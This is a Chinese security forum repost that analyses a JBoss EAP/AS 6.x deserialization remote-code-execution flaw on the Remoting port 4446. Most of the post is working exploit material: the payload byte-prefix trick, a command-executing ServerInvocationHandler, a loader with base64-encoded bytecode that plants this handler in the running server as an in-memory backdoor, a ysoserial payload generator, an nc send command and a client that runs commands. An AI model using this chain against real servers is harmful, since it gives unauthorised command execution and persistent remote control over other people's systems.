安全矩阵

 找回密码
 立即注册
搜索
查看: 2298|回复: 0

JBoss EAP/AS <= 6.* RCE及rpc回显

[复制链接]

252

主题

252

帖子

1309

积分

金牌会员

Rank: 6Rank: 6

积分
1309
发表于 2022-5-10 10:46:12 | 显示全部楼层 |阅读模式
原文链接:JBoss EAP/AS <= 6.* RCE及rpc回显前言
看到推上发了jboss的0day rce,分析一下。
这个洞是在国外Alligator Conference 2019会议上的一个议题,ppt在这里 https://s3.amazonaws.com/files.j ... lligator_slides.pdf
议题中讲到了jboss的4446端口反序列化rce,和一条jndi注入的gadget。
反序列化rce
jboss默认会开几个端口
端口状态目的
1098启用RMI 命名服务
3528已禁用IANA 分配的 IIOP 端口
4444启用RMI JRMP 调用程序
4445启用RMI 池调用程序
4446启用远程服务器连接器
4447启用远程服务器连接器
4457启用远程服务器连接器
4712启用JBossTS 恢复管理器
4713启用JBossTS 事务状态管理器
4714启用JBossTS 的进程 ID
8080启用HTTP 连接器
8083启用RMI 类加载迷你 Web 服务器
8443启用JBossWS HTTPS 连接器套接字
其中4445端口有一个历史RCE cve-2016-3690,是PooledInvokerServlet反序列化。

这次问题出在4446,这是个Remoting3端口,官网介绍看这里,看了看remoting3的文档没写,可以先看2的文档。
这是一个架构图

直接向4446发送一些数据

明显的aced0005,但是没有其他的东西了,可能是对数据的解析进行了特殊处理,我们使用api来远程调用一下。
创建一个maven项目,导入jboss remoting2的包,或者从https://jbossremoting.jboss.org/downloads.html 直接下载jar包也行。
maven配置参考520师傅的
  1. <dependency>
  2.     <groupId>org.jboss.remoting</groupId>
  3.     <artifactId>jboss-remoting</artifactId>
  4.     <version>2.5.4.SP5</version>
  5. </dependency>
  6. <dependency>
  7.     <groupId>org.jboss.logging</groupId>
  8.     <artifactId>jboss-logging</artifactId>
  9.     <version>3.3.0.Final</version>
  10. </dependency>
  11. <dependency>
  12.     <groupId>org.jboss</groupId>
  13.     <artifactId>jboss-common-core</artifactId>
  14.     <version>2.5.0.Final</version>
  15.     <exclusions>
  16.         <exclusion>
  17.             <groupId>org.jboss.logging</groupId>
  18.             <artifactId>jboss-logging-spi</artifactId>
  19.         </exclusion>
  20.     </exclusions>
  21. </dependency>
  22. <dependency>
  23.     <groupId>concurrent</groupId>
  24.     <artifactId>concurrent</artifactId>
  25.     <version>1.3.4</version>

  26. </dependency>
复制代码

客户端先发一个0xaced0005,服务端回复一个0xaced0005,然后客户端发0x77011679...等。其中0x77011679分别表示
  1. final static byte TC_BLOCKDATA =    (byte)0x77;
  2. final static byte SC_WRITE_METHOD = 0x01;
  3. 0x16 Protocol version 22
  4. final static byte TC_RESET =        (byte)0x79;
复制代码


后面的东西就是payload了,所以我们只需要替换yso生成的payload的前四个字节。


4446和3873端⼝均可利⽤。
调试跟一下
在org.jboss.remoting.transport.socket.ServerThread#processInvocation中处理了0x16,读出来协议版本为22

在org.jboss.remoting.transport.socket.ServerThread#versionedRead中会调用this.unmarshaller.read()


在read中调用java类型的原生反序列化org.jboss.remoting.serialization.impl.java.JavaSerializationManager#receiveObject


除了java以外还有别的

最后就进入了readObject

完整的堆栈
  1. exec:348, Runtime (java.lang)
  2. invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
  3. invoke:62, NativeMethodAccessorImpl (sun.reflect)
  4. invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
  5. invoke:498, Method (java.lang.reflect)
  6. transform:125, InvokerTransformer (org.apache.commons.collections.functors)
  7. transform:122, ChainedTransformer (org.apache.commons.collections.functors)
  8. get:151, LazyMap (org.apache.commons.collections.map)
  9. getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
  10. toString:131, TiedMapEntry (org.apache.commons.collections.keyvalue)
  11. readObject:86, BadAttributeValueExpException (javax.management)
  12. invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
  13. invoke:62, NativeMethodAccessorImpl (sun.reflect)
  14. invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
  15. invoke:498, Method (java.lang.reflect)
  16. invokeReadObject:1185, ObjectStreamClass (java.io)
  17. readSerialData:2319, ObjectInputStream (java.io)
  18. readOrdinaryObject:2210, ObjectInputStream (java.io)
  19. readObject0:1690, ObjectInputStream (java.io)
  20. readObject:508, ObjectInputStream (java.io)
  21. readObject:466, ObjectInputStream (java.io)
  22. receiveObjectVersion2_2:238, JavaSerializationManager (org.jboss.remoting.serialization.impl.java)
  23. receiveObject:138, JavaSerializationManager (org.jboss.remoting.serialization.impl.java)
  24. read:123, SerializableUnMarshaller (org.jboss.remoting.marshal.serializable)
  25. versionedRead:900, ServerThread (org.jboss.remoting.transport.socket)
  26. completeInvocation:754, ServerThread (org.jboss.remoting.transport.socket)
  27. processInvocation:744, ServerThread (org.jboss.remoting.transport.socket)
  28. dorun:548, ServerThread (org.jboss.remoting.transport.socket)
  29. run:234, ServerThread (org.jboss.remoting.transport.socket)
复制代码

rpc调用
研究了一下jboss的remoting,可以写一个类继承自ServerInvocationHandler接口,通过classloader定义到jvm中,然后client查询即可。
关于jboss remoting开发的可以直接看官方的sample,从这里下载:http://www.jboss.org/file-access ... oting-2_5_4_SP5.zip
注册ServerInvocationHandler可以调用org.jboss.remoting.ServerInvoker#addInvocationHandler函数,我们需要在线程中找到ServerInvoker的值反射获取以此来动态添加handler。
调试来看在当前线程中就有handler所在的hashmap,所以我们只需要把我们的EvilHandler put进去就行了。

其中ASD就是我的handler
这里直接贴代码,首先需要一个JbossInvocationHandler来执行命令。
  1. package ysoserial.payloads.templates;

  2. import org.jboss.remoting.InvocationRequest;
  3. import org.jboss.remoting.ServerInvocationHandler;
  4. import org.jboss.remoting.ServerInvoker;
  5. import org.jboss.remoting.callback.InvokerCallbackHandler;

  6. import javax.management.MBeanServer;

  7. public class JbossInvocationHandler implements ServerInvocationHandler, Runnable {

  8.     @Override
  9.     public void run() {
  10.     }

  11.     @Override
  12.     public void setMBeanServer(MBeanServer mBeanServer) {
  13.     }

  14.     @Override
  15.     public void setInvoker(ServerInvoker serverInvoker) {
  16.     }

  17.     @Override
  18.     public Object invoke(InvocationRequest invocationRequest) throws Throwable {
  19.         String cmd = (String) invocationRequest.getParameter();
  20.         System.out.println("接收到命令:" + cmd);
  21.         String[] cmds = new String[]{"cmd", "/c", cmd};
  22.         if (!System.getProperty("os.name").toLowerCase().contains("win")) {
  23.             cmds = new String[]{"bash", "-c", cmd};
  24.         }
  25.         java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmds).getInputStream(), "gbk").useDelimiter("\\A");
  26.         return s.hasNext() ? s.next() : "no result";
  27.     }

  28.     @Override
  29.     public void addListener(InvokerCallbackHandler invokerCallbackHandler) {
  30.     }

  31.     @Override
  32.     public void removeListener(InvokerCallbackHandler invokerCallbackHandler) {
  33.     }
  34. }
复制代码
然后base64编码用classloader加载
  1. package ysoserial.payloads.templates;

  2. import org.jboss.remoting.ServerInvocationHandler;
  3. import org.jboss.remoting.transport.socket.ServerThread;
  4. import org.jboss.remoting.transport.socket.SocketServerInvoker;

  5. import java.lang.reflect.Field;
  6. import java.lang.reflect.Method;
  7. import java.net.URL;
  8. import java.net.URLClassLoader;

  9. public class Loader {
  10.     static {
  11.         try {
  12.             byte[] bytes = base64Decode("yv66vgAAADIAkAoAIABKCgBLAEwHAE0JAE4ATwcAUAoABQBKCABRCgAFAFIKAAUAUwoAVABVCAA3CABWCABXCgBOAFgKAAMAWQgAWgoAAwBbCABcCABdBwBeCgBfAGAKAF8AYQoAYgBjCABkCgAUAGUIAGYKABQAZwoAFABoCgAUAGkIAGoHAGsHAGwHAG0HAG4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdGVtcGxhdGVzL0pib3NzSW52b2NhdGlvbkhhbmRsZXI7AQADcnVuAQAOc2V0TUJlYW5TZXJ2ZXIBACEoTGphdmF4L21hbmFnZW1lbnQvTUJlYW5TZXJ2ZXI7KVYBAAttQmVhblNlcnZlcgEAHkxqYXZheC9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5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQAIQAfACAAAgAhACIAAAAHAAEAIwAkAAEAJQAAAC8AAQABAAAABSq3AAGxAAAAAgAmAAAABgABAAAACgAnAAAADAABAAAABQAoACkAAAABACoAJAABACUAAAArAAAAAQAAAAGxAAAAAgAmAAAABgABAAAADgAnAAAADAABAAAAAQAoACkAAAABACsALAABACUAAAA1AAAAAgAAAAGxAAAAAgAmAAAABgABAAAAEgAnAAAAFgACAAAAAQAoACkAAAAAAAEALQAuAAEAAQAvADAAAQAlAAAANQAAAAIAAAABsQAAAAIAJgAAAAYAAQAAABYAJwAAABYAAgAAAAEAKAApAAAAAAABADEAMgABAAEAMwA0AAIAJQAAAQkABAAFAAAAhCu2AALAAANNsgAEuwAFWbcABhIHtgAILLYACLYACbYACga9AANZAxILU1kEEgxTWQUsU04SDbgADrYADxIQtgARmgAWBr0AA1kDEhJTWQQSE1NZBSxTTrsAFFm4ABUttgAWtgAXEhi3ABkSGrYAGzoEGQS2AByZAAsZBLYAHacABRIesAAAAAMAJgAAAB4ABwAAABoACAAbACEAHAA0AB0ARAAeAFcAIABxACEAJwAAADQABQAAAIQAKAApAAAAAACEADUANgABAAgAfAA3ADgAAgA0AFAAOQA6AAMAcQATADsAPAAEAD0AAAAVAAP9AFcHAD4HAD/8ACkHAEBBBwA+AEEAAAAEAAEAQgABAEMARAABACUAAAA1AAAAAgAAAAGxAAAAAgAmAAAABgABAAAAJgAnAAAAFgACAAAAAQAoACkAAAAAAAEARQBGAAEAAQBHAEQAAQAlAAAANQAAAAIAAAABsQAAAAIAJgAAAAYAAQAAACoAJwAAABYAAgAAAAEAKAApAAAAAAABAEUARgABAAEASAAAAAIASQ==");
  13.             ClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
  14.             Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
  15.             defineClass.setAccessible(true);
  16.             Class invoke = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length);
  17.             Object instance = invoke.newInstance();

  18.             ServerThread serverThread = (ServerThread) Thread.currentThread();
  19.             Field invoker = serverThread.getClass().getDeclaredField("invoker");
  20.             invoker.setAccessible(true);
  21.             SocketServerInvoker invokeObj = (SocketServerInvoker) invoker.get(serverThread);
  22.             invokeObj.addInvocationHandler("Y4er", (ServerInvocationHandler) instance);
  23.         } catch (Throwable e) {
  24.             e.printStackTrace();
  25.         }
  26.     }

  27.     public static byte[] base64Decode(String bs) throws Exception {
  28.         Class base64;
  29.         byte[] value = null;
  30.         try {
  31.             base64 = Class.forName("java.util.Base64");
  32.             Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
  33.             value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
  34.         } catch (Exception e) {
  35.             try {
  36.                 base64 = Class.forName("sun.misc.BASE64Decoder");
  37.                 Object decoder = base64.newInstance();
  38.                 value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
  39.             } catch (Exception e2) {
  40.             }
  41.         }
  42.         return value;
  43.     }
  44. }
复制代码
最后用CB183生成payload。
  1. package ysoserial;

  2. import com.google.common.io.Files;
  3. import javassist.ClassPool;
  4. import javassist.CtClass;
  5. import org.apache.commons.codec.binary.Base64;
  6. import org.apache.commons.lang.ArrayUtils;
  7. import ysoserial.payloads.CommonsBeanutils183NOCC;
  8. import ysoserial.payloads.templates.JbossInvocationHandler;

  9. import java.io.File;
  10. import java.util.Arrays;

  11. public class JbossRemoting {
  12.     public static void main(String[] args) throws Exception {
  13.         ClassPool pool = ClassPool.getDefault();
  14.         CtClass ctClass = pool.get(JbossInvocationHandler.class.getName());
  15.         String s = Base64.encodeBase64String(ctClass.toBytecode());
  16.         System.out.println(s);

  17.         Object calc = new CommonsBeanutils183NOCC().getObject("CLASS:Loader");
  18.         byte[] serialize = Serializer.serialize(calc);

  19.         byte[] aced = Arrays.copyOfRange(serialize, 0, 4);
  20.         byte[] range = Arrays.copyOfRange(serialize, 4, serialize.length);
  21.         byte[] bs = new byte[]{0x77, 0x01, 0x16, 0x79};
  22.         System.out.println(aced.length + range.length == serialize.length);
  23.         byte[] bytes = ArrayUtils.addAll(aced, bs);
  24.         bytes = ArrayUtils.addAll(bytes, range);
  25.         Files.write(bytes, new File("E:\\tools\\code\\ysoserial\\target\\payload.ser"));
  26.     }
  27. }
复制代码
然后nc发送
  1. cat payload.ser |nc 127.0.0.1 4446|hexdump -C
复制代码
然后新建一个client去执行命令
  1. package org.jboss.remoting.samples.myclient;

  2. import org.jboss.remoting.Client;
  3. import org.jboss.remoting.InvokerLocator;

  4. public class MyClient {
  5.     public static void main(String[] args) throws Throwable {
  6.         InvokerLocator locator = new InvokerLocator("socket://127.0.0.1:4446/");
  7.         Client client = new Client(locator);
  8.         client.setSubsystem("Y4er");
  9.         client.connect();
  10.         Object as = client.invoke("dir");
  11.         System.out.println(as);
  12.         client.disconnect();
  13.     }
  14. }
复制代码



jboss日志中

jndi注入

org.jboss.ejb3.mdb.ProducerManagerImpl#readExternal


很直观不详细展开了
思考
jboss的rpc有多种传输方式,其内置了几种反序列化方式,其他协议是否会有问题?
jboss的remoting挺有意思,看了官方sample,可以rmi、socket、http等多种方式调用,除了handler是否有其他的回显方式?







本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 08:48 , Processed in 0.015241 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表